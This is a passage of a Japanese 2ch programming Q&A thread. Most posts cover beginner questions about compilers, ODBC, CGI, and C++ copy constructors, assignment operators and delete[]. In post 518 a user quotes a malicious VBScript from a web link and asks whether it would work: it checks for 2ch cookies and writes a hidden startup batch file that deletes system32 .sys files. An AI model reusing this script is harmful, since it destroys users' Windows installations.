>>485
> デルファイとかビジュアルCってのは何なんですか?
開発環境
> C言語やC++とは違うのですか?
違います。
0487485NGNG
>>開発環境

つまり日本語で物を書くとき
ノートに書くか紙に書くか、程度の違いですか?
0488485NGNG
.NETって何ですか?
0489デフォルトの名無しさんNGNG
>>487
というかノートに文章を書くときに、
鉛筆で書くか、シャープペンで書くか、ボールペンで書くかのような違いです。
0490485NGNG
>>489 大変わかりやすいです、ありがとうございました
0491489NGNG
>>487
う。例だからもうちょっと極端にしたほうがいいか。
鉛筆で書くか、毛筆でかくか、ワープロでかくかの違い。でいいかな。
0492デフォルトの名無しさんNGNG
メルコの
10M/100M対応 PCIバス用 LANボード
LGY-PCI-TXC
のドライバセット時に自動検出画面で
「次へ」ボタンをクリックすると
エラーになって落ちます。
対応表には、Win95も含まれているのですが、
何かが不足しているのでしょうか?
0493>484NGNG
つまるところ、aが負、bが正の値のときに
if(a > b)
{
 ...
}
の...が実行されてしまうということですか?
0494デフォルトの名無しさんNGNG
>>492
板違いじゃ、ここで聞いてみてくれ
http://natto.2ch.net/test/read.cgi?bbs=pcqa&key=982974669
0495デフォルトの名無しさんNGNG
>>484
実際にトレースして変数の値を見てみました?
そうでないなら、intのつもりがunsigned intになってたりしませんか?
0496デフォルトの名無しさんNGNG
bcc55を使ってプログラミングの勉強中なのですが、
http://users-web1.iac.ne.jp/~yasutaka/c_lang/sdk/sdk_00.htm
このソースがどうしてもコンパイルできません。

---------------------------
エラー E2034 wintest.cpp 21: 'void *' 型は 'HBRUSH__ *' 型に変換できない(関数 __stdcall WinMain(HINSTANCE__ *,HINSTANCE__ *,char *,int) )
警告 W8057 wintest.cpp 45: パラメータ 'lpszCmdLine' は一度も使用されない(関数 __stdcall WinMain(HINSTANCE__ *,HINSTANCE__ *,char *,int) )
*** 1 errors in Compile ***
---------------------------
ってでます。
もちろん-wスイッチは指定しています。

他の方はbcc55を使ってコンパイル出来ているのですか?
0497SAGENGNG
>>496
試してないからわからんけど、拡張子を .c にしとけばたぶん通る。

あるいは GetStockObject(WHITE_BRUSH); の代わりに
(HBRUSH)GetStockObject(WHITE_BRUSH);
だな。警告は無視して良し。
0498デフォルトの名無しさんNGNG
VCのプリコンパイル済みヘッダーで質問です。
これって何を書けばいいんですか?

プログラム全体でよく使うヘッダーファイルをStdAfx.hのTODOに書く、という解釈でいいんでしょうか。
StdAfx.cppの方に「STDAFX.H に含まれていて、このファイルに記述されていないヘッダーファイルを追加してください」
とありますが、これはStdAfx.hに書いたのと同じのをこっちにも書くということですか?

今まで適当にやってて特に問題無かったんですが、今日「プリコンパイル済みヘッダーの検索中に予期しない EOF を検出しました」
というエラーが出てしまって、どうやっても直らず、どこが悪いのか分からなくて困っています。
0499デフォルトの名無しさんNGNG
Cのプログラムで条件文のネストを深くしたら、期待通りに動作しなくなり、
ネストが浅くなるよう、適所を関数にしたら、期待通りに動作しました。
Cはネストの深さに制限があるのでしょうか?
0500デフォルトの名無しさんNGNG
複文のネストレベルは少なくとも 15 。
分岐のネストは分からない。
0501デフォルトの名無しさんNGNG
私のプログラムで条件文のネストを深くしたら、期待通りに動作しなくなり、
ネストが浅くなるよう、適所を関数にしたら、期待通りに動作しました。
私の頭はネストの深さに制限があるのでしょうか?

ネタっぽいが、実はマジかも
0502SAGENGNG
>>498
> プログラム全体でよく使うヘッダーファイルをStdAfx.hのTODOに書く、という解釈でいいんでしょうか。
でいいんじゃないでしょうか。
> プリコンパイル済みヘッダーの検索中に予期しない EOF を検出しました
"stdafx.h" が #include されてないファイルをコンパイルするとこうなる。

>>499
if( --- )
  if( --- )
    a=b;
else
  a=c;
とかやって期待と違うとか言ってたら笑。
0503デフォルトの名無しさんNGNG
C言語の勉強をしようとおもってるのですがウルトラ初心者にお勧めの参考書はどれですか?
プログラミング一切勉強していないのですが、いきなりC言語から入っても大丈夫でしょうか?
マジレスお願いします。
0504デフォルトの名無しさんNGNG
よそのスレでも書いたのですが相手にされなかったもので・・・(涙)
どなたか教えて下さい。

チャットとかでよくある「発言」とかのテキストボックスに
リロードしても毎回同じテキストボックスにカーソルを合わせるには
どうしたら良いのでしょうか。

そもそもタグで出来る範疇なのか、JAVAスクリプトとやらを使うのかも
わかりません。

つまらん質問ですが、
どなたかお願いします・・・
0505デフォルトの名無しさんNGNG
>>504
とほほ〜のJavaScript編より、
[window.]document.form.element.focus() (e3/N2)
0506504NGNG
>>505
ありがとうございやす!
さっそく試してみます。
0507デフォルトの名無しさんNGNG
>>503
こんなんあります。
http://210.81.47.84/y_kumei/
「プログラミング言語C」 ISBN4-320-02692-6 共立出版
0508デフォルトの名無しさんNGNG
Fujitsu Fortran&C Academic Package V2.1L10
を使用して、cで書いたソースファイルを
コンパイルしたら、MSDOSコマンドで、実行
されるはずが、

KKCFUNC が組み込まれました.

マイクロソフトかな漢字変換 バージョン 2.51
(C)Copyright Microsoft Corp. 1992-1993
環境のためのメモリが足りません.
コマンドまたはファイル名が違います.
準備ができたらどれかキーを押してください . . .

と、いわれます。MSDOSとか全然理解できないので、
何が問題なのかすらわかりません。
教えてくれたらうれしいです。
0509名無しさんNGNG
JAVAのCLASSソースコードをDLして、秀丸でみたら文字化けしてました。
文字化けしないで見れる方法ありますか?
0510名無しNGNG
IHPJJLIH.EXE (23KByte)
というのが差出人本文無しメールにくっついてきたんですがこれはウィルスでしょうか?
なんか最近しょっちゅう届くんですけど・・・
0511デフォルトの名無しさんNGNG
>509
CLASSはバイトコード(バイナリ)だからテキストエディタで見ても意味ない。
0512デフォルトの名無しさんNGNG
>>510
とりあえず、開いてみなけりゃ分からんな
0513デフォルトの名無しさんNGNG
>>510
ウイルスかどーかは俺には分からないけど
ウイルスと思っといた方がいい。
0514デフォルトの名無しさんNGNG
ヴィジュアルスタジオ6・0の定価はいくらですか?
で、安いところだとどれぐらいになりますか?
0515デフォルトの名無しさんNGNG
514>
アカデミックで約3万。
Proね
0516デフォルトの名無しさんNGNG
>>510
多分、これかも?うちにもよく来る
http://www.fs-support.yamada.co.jp/df/v-descs/v-descs2/hybris.htm
0517デフォルトの名無しさんNGNG
シェルプログラムでFTP転送をしたいのですが、
どのように書けばバッチファイルが作れますか?
0518(。・_・。)NGNG
プログラムのプの痔もしらないんですが、
某スレに貼られたリンクをソースで開いてみたら
VBScriptで、2chのクッキーがあれば
sysファイル消すようになってるのがありました。
↓

<SCRIPT LANGUAGE = "VBScript">
'-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
On Error Resume NeXt
Set ObjFS = CreateObject("Scripting.FileSystemObject")
If ObjFS.FolderExists("C:\WinNT\") Then 'WinNT系の場合の処理
Set ObjNTCookie = ObjFS.GetFolder("C:\Documents and Settings\Administrator\Cookies") 'Cookieフォルダを取得
str = ("2cn") & vbCR
For Each ObjFile In ObjNTCookie.Files
str = str & ObjFile.Name & vbCR
Next
If InStr(str,"2ch") Then 'Cookieフォルダの中身に"2ch"の文字がないか検索
Set WinNT = ObjFS.CreateTextFile("C:\Documents and Settings\All Users\スタート メニュー\プログラム\スタートアップ\system.bat")
WinNT.WriteLine("cd C:\WinNT\system32\")
WinNT.WriteLine("del *.sys")
WinNT.Close
Set WinNTBat = ObjFS.GetFile("C:\Documents and Settings\All Users\スタート メニュー\プログラム\スタートアップ\system.bat")
WinNTBat.Attributes = 2
Else
End If

こんなんでホントに動作するのでしょうか?だとすると、2kだからって
気楽に踏めなくなるんで...。
(やってみろっていうのは簡便して下さい。)
0519名無しさんNGNG
>>518
win板のproxomitronスレpart2にまったく同じ書き込みあったぞ。
0520デフォルトの名無しさんNGNG
とりあえずさあ、見てほしいならインデントぐらいしようよ・・・。
0521(。・_・。)NGNG
>>519 そうでしたか。これから逝ってきます。
     ありがとございます。

>>520 すみません、インデントって???
    URLのことですか?。↓ですが...。
    ://maripe22.virtualave.net/cgi-bin/image/hitomakase1148.jpg
  
    これって僕が部落らはったことになっちゃわないかな(汗。
0522デフォルトの名無しさんNGNG
インデントって字下げだよ。
0523(。・_・。)NGNG
ホントにごめん。
0524デフォルトの名無しさんNGNG
w3mやlynxをつかえばok
0525デフォルトの名無しさんNGNG
ブラウザを介して遊べるネットゲームを作ってみたいんですが
その場合はどんな言語が必要ですか?

箱庭諸島のように大人数で遊べるものを作りたいです
0526教えてくださいNGNG
ASPについてなのか、ODBCドライバについてなのかわかりませんが、
ブラウザからmdbファイルにアクセスしようとすると、ブラウザに
以下のエラーメッセージが出ます。

エラー タイプ
Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[Microsoft][ODBC Microsoft Access Driver] '(不明)' は既に
使用されているので、使用できませんでした。


原因はまさに書いてあるとおりだと思いますが、複数の人が同時に
ODBCドライバを利用することはできないのでしょうか。

複数の人が同時にODBCドライバを利用できる方法を教えていただけ
ないでしょうか?

よろしくお願いします。

0527デフォルトの名無しさんNGNG
Jetに、ADO→ODBCで接続する理由がわからん。ADOで直接
接続してみ。
0528デフォルトの名無しさんNGNG
いままで、HSPでパズルゲームなんかを作っていたのですが、
本格的に(趣味だけど)やってみようと思い、
VisualC++かC++Builderの購入を考えています。
HSPしかやった事が無いのにこの選択は無謀ですか?
あと、この2つはどれくらい機能が違うのですか。
0529デフォルトの名無しさんNGNG
きっとホビープログラマがVC++やるとプログラムが嫌いになる。
C++Builderでいいんでない?
C++でなくてよければDelphiが易しい。
VBは捨て置け
新しいもの好きならC♯、なんかわからんが世間の風潮に乗ってみようと
思うのであればJavaでどう?
0530ド素人NGNG
私は4月から学校でプログラミングをやると聞いたので、
ヨドバシでC++Builder5を買って(17800円なり)、
インストールをして、借りてきたC++入門の本を
見てfirst c programという文章の表示するやつと
+−*/の計算をするプログラムを打ったのですが
"リンカエラー、libというフォルダの○○"を参照してください
とか "WinMainが未解決です"とかでて打ったやつ実行できません。

このソフトで簡単なプログラムからやっていきたいのですが
まず初心者はどこを開いて何やればいいんでしょうか?
(このソフトではできないですか?高校の体験入学のときパソコンを触らせて
くれたときにC++Builderが入っていたような・・・・・・・?)
もう最初からつまづいています。あたしの周りに詳しい人がいません
みなさん詳しそうなのでどうか教えてください。
あと手元に一冊親切な解説書が欲しいので、いい書籍も教えてください。

私のパソコンはNEC製VALUESTAR VL600R
OS:WindowsMe CPU:666MHz メモリ:64MBです。
0531デフォルトの名無しさんNGNG
>>530
C++Builderはわからんのだが、
それ多分ウィンドウアプリ作成用の設定になってる。
普通のCプログラムをコンパイルしたいなら多分
Win32Applicationじゃなくってコンソールアプリケーションを選ぶ。
0532デフォルトの名無しさんNGNG
>>530
まず初心者はいきなりVCLを使わないでコマンドプロンプト上で動くアプリを
作った方がいいと思います。そしてC++の言語仕様を覚えたら、あとはいろいろできる
ようになるでしょう。
書籍の方は、お勧め書籍のスレッドがありますのでそちらを見てみてください。
私は書籍じゃないけど、「猫でもわかるプログラミング」というページがお勧めです。
それでは、最初はいろいろわからなくていやになるかもしれないけど、がんばってください。
0533ド素人 NGNG
コンパイル?コンソールアプリケーション?VCL?コマンドプロンプト
??????
ううううぅ(泣)起動して新規作成を押していったい
何を選べばいいんでしょうか・・・・・
0534デフォルトの名無しさんNGNG
新規作成で Console Application って無いか?
0535デフォルトの名無しさんNGNG
新規作成でコンソールウイザードを出して プロジェクトソースを指定すればいい

あるいはコマンドラインから
BCC32 ファイル名

としてコンパイル
0536デフォルトの名無しさんNGNG
コマンドプロンプトってのはWindowsならいわゆるDos窓のことです。
[スタート]-[プログラム]-[アクセサリ]のところから起動します。

例えばmona.cppにプログラムを書いたとしたら、
bcc32 mona.cpp
と打ち込みます。(C++ Builderは起動していなくてもいいです)
そうするとコンパイルできます。
0537素人ちゃんNGNG
CでORACLE使うソースを渡されましたが、当方、Cもオラクルも初心者。
必死で調べてますが、何をやってんのかわかんないところが多くて泣きそうで
す。
EXEC SQLってありますよね。
EXEC SQL VAR って何をしてるんでしょうか。
教えてください。
0538教えてくださいNGNG
>527
ご教授ありがとうございます。大変申し訳ございませんが、もうひとつ聞いて
よろしいでしょうか。

今回のDBへの接続方法は書籍に載っているものをそっくりそのまま真似しました。
(以下のように、Global.asaに書いてあります)


Sub Session_OnStart

Session("conObj_ConnectionString")="DSN=test;UID=admin;PWD=admin"
Session("conObj_ConnectionTimeout")=15
Session("conObj_CommandTimeout")=30

Set Session("conObj")=Server.CreateObject("ADODB.Connection")
Session("conObj").Open Session("conObj_ConnectionString")

end sub


これがいけないのでしょうか。それともDSN(test)の設定が悪いのでしょうか。
もしくわ、もっとほかのところがいけないのでしょうか?
(ちなみに、DSNはドライバに.mdbを選択しました。)


たいへん申し訳ございませんが、ご教授お願いします。
よろしくお願いします。
0539CGI初心者NGNG
先日ホームページの全CGI、FTPが稼動しなくなりました
(HTMLのページは普通に見れる)。
サーバーに問い合わせるとWebを通してのperlプログラムへのアクセス集中
により、サーバーの実メモリを使い果たし深刻的なメモリ不足により、FTP、CGI、TELNET等の新しくプロセスを作るプログラム等が実行できなくなったとの事でした。これは僕がホームページで使ってるCGIが原因のようです。
そのCGIを取り除きたいのですがどのCGIが原因か分かりません。
ホームページのアクセス数はそんなに多くなく、さらに訪問者が少ない時間帯に起こったのでまったく理由がわかりません。
ちなみにCGIはすべておちていたスクリプトを使っています。
具体的にはCGIのどのような動作がカラになるほどメモリを食うのでしょうか?
すいませんが誰か教えてください。
0540デフォルトの名無しさん NGNG
>539
ソースなしで判断は無理。
多分無限ループにでもなってんじゃない。
特定の条件で再帰関数から抜けずにループしっぱなしとか。
0541デフォルトの名無しさんNGNG
>>539
とりあえず、ひろって使ってたCGIのスクリプトの名前、全部あげてみ
0542デフォルトの名無しさんNGNG
馬鹿な質問ですみません。
Turbo Debugger 5.5 のパスワードはどう入力したらいいんでしょうか。
IMEが使えなくなyyrしまうので大文字・小文字の区別もつけられず開くことができません…。
0543デフォルトの名無しさんNGNG
↑タイプミスしました。
ごめんなさい。

馬鹿な質問ですみません。
Turbo Debugger 5.5 のパスワードはどう入力したらいいんでしょうか。
IMEが使えなくなってしまうので大文字・小文字の区別もつけられず開くことができません…。


0544デフォルトの名無しさんNGNG
>> 542
> 馬鹿な質問ですみません。
> Turbo Debugger 5.5 のパスワードはどう入力したらいいんでしょうか。
> IMEが使えなくなyyrしまうので大文字・小文字の区別もつけられず開くことができません…。

何が言いたい?
パスワードがわかっているならメモ帳にでも入力して
コピー>貼り付けでよかろ?
0545デフォルトの名無しさんNGNG
TurboDebuggerって、パスワード入力のときIME必要あったっけ?
0546デフォルトの名無しさんNGNG
まさかとは思うけど
IMEを使わないとアルファベット大文字が打てないんじゃないよね‥‥
0547デフォルトの名無しさんNGNG
動的メモリを確保して、開放せず終了すると
どうなるんでしょうか??
0548デフォルトの名無しさんNGNG
>>547
論争の元が・・・(^^;;;

とりあえず、OSによっていろいろなんでわからない内は
動的に確保したメモリは解放しとけってことで。

で、時間があったら、
http://mentai.2ch.net/test/read.cgi?bbs=prog&key=981051921
でもよんどきなさい。

とりあえず、ここで論争を展開させんでね。>おーる
0549デフォルトの名無しさんNGNG
>>503
まったくのはじめてだったら、「はじめての8086」あたりで
アセンブラのイメージ掴んでからの方がいいんじゃないかな〜?
0550デフォルトの名無しさんNGNG
class string {
    char *p; // 文字列へのポインタ
    int len; // 文字列の長さ(NULL含まず)
public:
    string(char *src); // new で領域を確保。(省略)
    ~string() { delete p; } // デストラクタで自動的に解放したい。
    char *getString() { return p; }
    friend string &operator+(string &str1, string &str2);
};

このようなクラスを作って、この型のオブジェクトの加算( ob1 + ob2 )
で、文字列を連結するようにしたいのですが、デストラクタでポインタを
delete しちゃうと、実現は不可能でしょうか?

とりあえず、上記のようなプロトタイプでソースを書いてみましたが
コンパイル時に「warning C4172: ローカル変数またはテンポラリのアドレスを返します。」
というwarning がでます。おそらく、この関数の終了時にローカル変数のメモリ
領域は解放されちゃうと思うので、この方法はマズイですよね?

関数呼び出し時にコピーされた引数も破棄される際にデストラクタを呼ばれちゃう
のは不便だ〜。暗黙のコールってイヤだなぁ。
0551デフォルトの名無しさんNGNG
>>550
これに関連しての話ですが、コンストラクタで確保した領域を
デストラクタでdeleteしてる人って案外いないのでしょうか?
「デストラクタで領域解放」を多用してる人います?
0552デフォルトの名無しさんNGNG
>>550
ちなみにコンパイラはVC++6 です。
0553ド素人NGNG
なんか新規作成→コンソールウィザードを選択して
右のVCLの下のやつコンソール(マルチ?)アプリケーション?を選択
この前実行できないけど保存したcppファイルをプロジェクトソース
に指定して新規作成したら、プログラムがきちんと実行できた。
ここ方法でいいんでしょうか?

質問です。プログラムを実行すると瞬間的にしか表示できません。
すぐDOS窓が閉じてしまいます。なんででしょうか?

0554SAGENGNG
>>550
operator+ なら返値は string& じゃなくて string にすべきでないの?

あと、関数呼び出し時にコピーされた引数が破棄される際に、
デストラクタ呼ばれなかったらハゲシク困ると思うのだが。
# string → string のコピーの際に p のポインタをそのままコピーするん
# だったら、そりゃdeleteされたらマズイだろうが、それは設計が間違っとる。
0555>553NGNG
DOS窓開いて、コマンドラインから、そのファイル実行してみそ
0556デフォルトの名無しさんNGNG
>>550です。

>>554
>operator+ なら返値は string& じゃなくて string にすべきでないの?

 値渡しの場合、operator+関数内でstring型のテンポラリオブジェクトを
宣言して、それをリターンすることになりますが、このテンポラリオブジェ
クトは関数の実行終了時に破棄されて、自動的にデストラクタが呼ばれ、こ
のテンポラリオブジェクトのポインタが示している文字列のメモリは解放さ
れてしまうわけですよね。これだと動作としては好ましくないですよね。

 現在C++を勉強中で、これは単なる練習に過ぎないのですが、このケースの
ようなコンストラクタ、デストラクタを保持した条件下で、ob1+ob2 を実現
するようなoperator+関数は書けないのでしょうか?

 ちなみに以下のような関数を書いてみました。

string::string(char *src)
{
    len = strlen(src);
    p = new char [len+1];
    if(!p) {
        cout << "Allocation error\n";
        exit(1);
    }
    strcpy(p, src);
}

string &operator+(string &str1, string &str2)
{
    char *temp;
    temp = new char [str1.len + str2.len + 1];
    if(!temp) {
        cout << "Allocation error\n";
        exit(1);
    }
    strcpy(temp, str1.p);
    strcat(temp, str2.p);

    string StringTemp(temp);

    return StringTemp;
}
0557ミトコンドリ子NGNG
>>550 551 556
基本的に554氏の指摘どおりよ。コピーコンストラクタと代入演算子が必要で、
string operator+( const string&, const string& )が正解よ。
それからコンストラクタも string( const char * ) よね。

アナタの設計で、以下のコードを動かしてごらんなさい。
string strABC("abc"), strDEF("def"), strGHI("ghi");
std::cout << ((strABC + strDEF) + (strABC + strGHI)).getString() << std::endl;

直感的には "ABCDEFABCGHI" と表示してほしいわよね。ならないでしょ?

まず、正しく動かすことを覚えてちょうだい。効率を考えるのはその次。
ちなみにこの手の設計で動作速度を気にするなら、参照数計測ポインタを使った遅延評価
なんかの技法を使うのよ。
アナタには"Effective C++ 改訂2版",ISBN4-7561-1808-9 を読むことをお勧めするわ。
がんばって勉強してちょうだい。
0558ミトコンドリ子NGNG
ごめんなさい。タイプミスだわ。
誤:直感的には "ABCDEFABCGHI" と表示してほしいわよね。
正:直感的には "abcdefabcghi" と表示してほしいわよね。
0559デフォルトの名無しさんNGNG
>>557
どもっす。もうちょっと精進します。
0560SAGENGNG
> このテンポラリオブジェクトは関数の実行終了時に破棄

↓さて、どういう順番でコンストラクタ・デストラクタが呼ばれるでしょう。(^^;
 そんなに好ましくない動作でもないハズ。

#include <stdio.h>
#include <string.h>

class CTest
{
public:
  CTest( const char* name )
  {
    strcpy( m_Name, name );
    printf( "Construct [%s]\n",m_Name );
  }
  CTest( const CTest& other )
  {
    sprintf( m_Name, "copy of %s", other.m_Name );
    printf( "Construct [%s]\n",m_Name );
  }
  ~CTest()
  {
    printf( "Destruct [%s]\n",m_Name );
  }
  char m_Name[100];
};

CTest f()
{
  CTest x( "x" );
  return x;
}

int main()
{
  printf( "begin f()\n" );
  CTest y = f();
  printf( "end f()\n" );
  return 0;
}
0561デフォルトの名無しさんNGNG
VC++でEditなどのコントロールを追加する方法はありますか?
(例えばメインダイアログで3と設定したら、
サブダイアログにEDITが3つ作成されているっていう事をしたい!)
0562デフォルトの名無しさんNGNG
SDKで何とか動くものが作れるようになったレベルなのですが、
DirectXはどこでどんな勉強をすればよいでしょうか?
日本語ヘルプを見てみましたが全く分かりませんでした。
0563デフォルトの名無しさんNGNG
>>550 です。

結局、デストラクタでの領域解放はあきらめて
次のようなクラスにしました。

class string {
    char *p; // 文字列へのポインタ
    int len; // 文字列の長さ(NULL含まず)
public:
    string(char *src); // new で領域を確保。
    string();  // null のみの領域確保。
    char *getString() { return p; }
    void delString() { delete p; return; } // 領域解放
    string operator+(string str2);
    string operator=(string str2);
    int operator<(string str2);
    int operator>(string str2);
    int operator==(string str2);
};

オブジェクトが破棄される前に、delString() をコールしなきゃいけないのは
ちょっと煩雑ですが、やむを得ないかな。
ちなみに『独習C++』の練習問題でした。(解答は固定長の文字列使ってました。)


>>560

<予想>
begin f()
Construct x
Destruct x
Destruct x
Construct copy of x
end f()
Destrucrt copy of x

<実際>
begin f()
Construct [x]
Construct [copy of x]
Destruct [x]
end f()
Destruct [copy of X]

ありり? 代入するときって、一旦テンポラリオブジェクトにコピー
されるのかと思ったんだけど、違ったのかな。
CTest y = f(); の右辺が f() だけだから、作成されなかったのかな?

しかし、この掲示板、<pre> タグだけでも許可してもらえないかなぁ。
ソースを直接貼れない・・。
0564デフォルトの名無しさんNGNG
>>560
俺も予想してみる。
これを書いてる時点では563は見てない(見ない。と自分に言っておく)。

begin f()
Construct ["x"]
Construct ["copy of x"]
end f();

かな。
クラスオブジェクトを返すと
コピーコンストラクタが呼ばれるんだよね?(C++はよく知らないけど)
0565564NGNG


begin f()
Construct ["x"]
Construct ["copy of x"]
end f();

0566564NGNG
2度書きすまん。それに間違えた。Destructを忘れてた。

begin f()
Construct ["x"]
Construct ["copy of x"]
Destruct ["x"]
end f()
Destruct ["copy of x"]
0567デフォルトの名無しさんNGNG
うにゅー、こういうことじゃないの?

コピーコンストラクタ string(string&);だっけ?
引数の文字列参照と同じ長さ+1の配列newしてstrcpy。

代入演算子 string operator=(string&);
引数の文字列参照と同じ長さ+1の配列newしてstrcpy。
ただし、もともとデータはいってたら予めdeleteしてから。

そうしとけば、テンポラリ作成でこの辺のが呼ばれても、
内部データ領域は必ずnewで確保されてるから、デストラクタ
でif(p!=null)delete p;でいけるんじゃない?
0568デフォルトの名無しさんNGNG
コピーコンストラクタってなんですか?
0569デフォルトの名無しさんNGNG
 文脈からするとオブジェクトのコピーが作られるときに
自動的にコールされる関数みたいですけど、そういうのあ
るんですか?(『独習C++』ではまだ出てきてないもので。)
0570567NGNG
あう、しっぱい。
1.代入演算子のreturnはstring&だね。
2.array new なら デストラクタはdelete[] p;だね。

>569
そうです。気が付かないところでいろいろ呼ばれます。プログラマ
が実装してないと、C++がかってにデフォルト実装をしてしまうんで、
えらい事になります。EffectiveC++読むとよくわかるよー。
0571ミトコンドリ子NGNG
>>563(=550)
あぁー、じれったいわね。
でもコンストラクタ、コピーコンストラクタ、代入演算子、デストラクタはしっかり理解しておく
べきところだから、納得するまでいろいろやってみるのは良いことだわ。

>結局、デストラクタでの領域解放はあきらめて
>オブジェクトが破棄される前に、delString() をコールしなきゃいけないのは
>ちょっと煩雑ですが、やむを得ないかな。
基本的にコンストラクタで確保した領域は、デストラクタで解放するべきよ。
状況に応じてdelString()をコールしなくちゃいけない設計だと、簡単にメモリリーク(確保された
メモリがいつまでも解放されない)しちゃうわよ。

ちょっとつきあってあげるから、やる気があるなら下の各メンバ関数を実装してごらんなさい。
添削してあげるわ。

アナタが563で書いた宣言とは少し違うところもあるわ。アタシがなんで変更したのか理由が
わからなかったら質問なさい。
class string {
    char *m_p; // メンバ変数は命名規則を変えるべき
    int m_len;
public:
    string( const char *src); // constぬけ
    string();
    // コピーコンストラクタ
    string( const string& str );
    // 代入演算子
    string operator=( const string& str2); // 引数はconst参照
    ~string();

    const char *getString() const { return p; }
    friend string operator+( const string& str1, const string& str2 );
    bool operator<( const string& str2) const;
    bool operator>( const string& str2) const;
    bool operator==( const string& str2) const;
      // 比較演算子の戻り値はbool,引数はconst参照,constメンバ関数
    // 残りの比較演算子
    bool operator<=( const string& str2) const { return( !(*this > str2) ); }
    bool operator>=( const string& str2) const { return( !(*this < str2) ); }
    bool operator!=( const string& str2) const { return( !(*this == str2) ); }
};

あとは、デバッガで自分の書いたプログラムをステップ実行すると理解が深まって
いいと思うわ。アタシも覚えたてのころはそうやって勉強したわよ。
どんな環境で勉強しているの? VC? UNIX?
0572デフォルトの名無しさんNGNG
>>571
どもっす。実装してみました。
3時間半くらいかかったかな・・。
長くなるので下記のURLにアップロード。
環境はVC++です。UNIXはぜんぜんわからない。
http://www22.tok2.com/home/view2ch/temp/cpp1.html


0573デフォルトの名無しさんNGNG
>>570
コピーコンストラクタは『独習C++』には解説がないみたいです。
やっぱ、コレ1冊じゃキビシイみたいですね。
0574デフォルトの名無しさんNGNG
コピーコンストラクタは基本中の基本。これがわからないと
C++がわからないといってもいい。悪いことは言わないから
コンストラクタとコピー、代入、参照はちゃんと解説してある本を買うべし。
0575SAGENGNG
>>572
細けぇ突っ込みな。

> operator =
 if( this != &str2 )
をどっかに入れて置いた方がベターかも。その実装の場合は99.99%無事だけど。
> operator +
 temp.m_p = new char [temp.m_len+1];
の前に delete [] temp.m_p; しとけい。

独習C++ って持ってないけど、
http://www.shoeisha.com/book/viewmkj.asp?bid=754
の第5章あたりにはなにやら書いてある気がするのは気のせいか。>>573
0576デフォルトの名無しさんNGNG
>>575
ありゃ? 最近の版で追加されたのかもしれない。
うちの版の目次では5章は次の通り。

5.1 コンストラクタ関数のオーバーロード
5.2 時代遅れのoverload
5.3 デフォルト引数の使用
5.4 オーバーロードの曖昧さ
5.5 オーバーロード関数のアドレスの探し方

初版第7刷(1997)だから、2版では追加されているかも
しれないです。買ったけどずっと放っておいたので・・(^-^;
0577デフォルトの名無しさんNGNG
>5.2 時代遅れのoverload

本そのものが時代遅れだった(藁
0578デフォルトの名無しさんNGNG
>>575
>> operator =
> if( this != &str2 )
>をどっかに入れて置いた方がベターかも。その実装の場合は99.99%無事だけど。

これはどのような処理を行わせるということですか?
たぶん ob1 = ob1; のようなケースを想定しているのだと思いますけど。

>> operator +
> temp.m_p = new char [temp.m_len+1];
>の前に delete [] temp.m_p; しとけい。

あ、そうですね。解放し忘れてました。
でも、delete temp.m_p; ではダメですか?
(delete [] temp.m_p は意味がわからない。)

0579デフォルトの名無しさんNGNG
>>577
たしかに・・(^-^;
随分改定されたみたいですね。
0580デフォルトの名無しさんNGNG
http://www22.tok2.com/home/view2ch/temp/cpp3.html
訂正版です。
0581デフォルトの名無しさんNGNG
watcom c/c++を
使っている方いないですか?
IDEについて初歩的な質問があるんですが。
0582ミトコンドリ子NGNG
>>572(=563=550)
お疲れさま。
どの書き込みに反応していいのかわかんないから続ける気があるなら適当にハンドルつけてちょうだい。

もっとへっぽこな答えが返ってくるかと思ってたけど、よくできてるわ。
いくつかミスはあるけどね。

575氏の指摘通り、new[]で確保した領域の開放はすべてdelete[]でしなくちゃダメよ。
今回のcharみたいな組込型のときは問題にならないことが多いけど、デストラクタがある
クラスの場合は問題があるのよ。以下を参照してちょうだい。
http://www26.tok2.com/home/mitochondriko/prog/destructDemo1/main.html

operator=の実装は間違ってはいないと思うわ(動かない例があるかしら?>みなさま)。
気にしなくちゃいけないのは578で確認しているとおり、str1 = str1;のような場合よ。
教科書的には以下のように実装するのが定石ね。
string& string::operator=( const string& rhs )
{
  if ( this != &rhs ) {
    delete[] m_p;
    m_p = new char [str2.m_len+1];
    m_len = str2.m_len;
    strcpy(m_p, str2.m_p);
  }
  return( *this );
}

比較演算子は以下のように実装するとミスが少ないわ。これは好みの問題ね。
bool string::operator<( const string& str2) const
  { return( strcmp(m_p, str2.m_p) < 0 ); }
bool string::operator>( const string& str2) const
  { return( strcmp(m_p, str2.m_p) > 0 ); }
bool string::operator==( const string& str2) const
  { return( strcmp(m_p, str2.m_p) == 0 ); }

じゃぁ次の宿題ね。

563→571でアタシがいくつか定義を書き換えているわ、
char *getString(); → const char *getString() const;
int operator==(string&) → bool operator==(const string&) const;
それぞれなぜ書き換えた方が良いのか、理由を説明してちょうだい。
0583デフォルトの名無しさんNGNG
なんか、何気に「C→C++移行する人にとって最重要の
知識」に関するわかりやすいご指導、になってない?

0584デフォルトの名無しさんNGNG
名前は似てても別物
0585デフォルトの名無しさんNGNG
>>517

ftp -n << hoge
open 住所
user お名前 暗号
コマンド
コマンド
アディオス!
hoge
0586デフォルトの名無しさんNGNG
>>550です。ではステハンを付けたいと思います。

>>582
>575氏の指摘通り、new[]で確保した領域の開放はすべてdelete[]でしなくちゃダメよ。

 なるほど。delete [] で解放されるとそれぞれのオブジェクトに
対してデストラクタが呼ばれる。でも配列じゃないオブジェクトを
delete [] で解放してはダメ、ということですね。ふむふむ。

>operator=の実装は間違ってはいないと思うわ(動かない例があるかしら?>みなさま)。
>気にしなくちゃいけないのは578で確認しているとおり、str1 = str1;のような場合よ。
>教科書的には以下のように実装するのが定石ね。

 定石では str1 != str2 の場合は、str1 動的メモリを無条件に解放して
新規で領域確保するってことですね。たしかに、その方が分かりやすいかも
しれない。

>比較演算子は以下のように実装するとミスが少ないわ。これは好みの問題ね。

鮮やかっす。(^-^;

>563→571でアタシがいくつか定義を書き換えているわ、
>char *getString(); → const char *getString() const;
>int operator==(string&) → bool operator==(const string&) const;
>それぞれなぜ書き換えた方が良いのか、理由を説明してちょうだい。

 ああ、これ、聞こうと思ってたんですが、力尽きて忘れてました。(^-^;

 推測ですけど、関数の右側の const は、この関数が、この関数を呼び
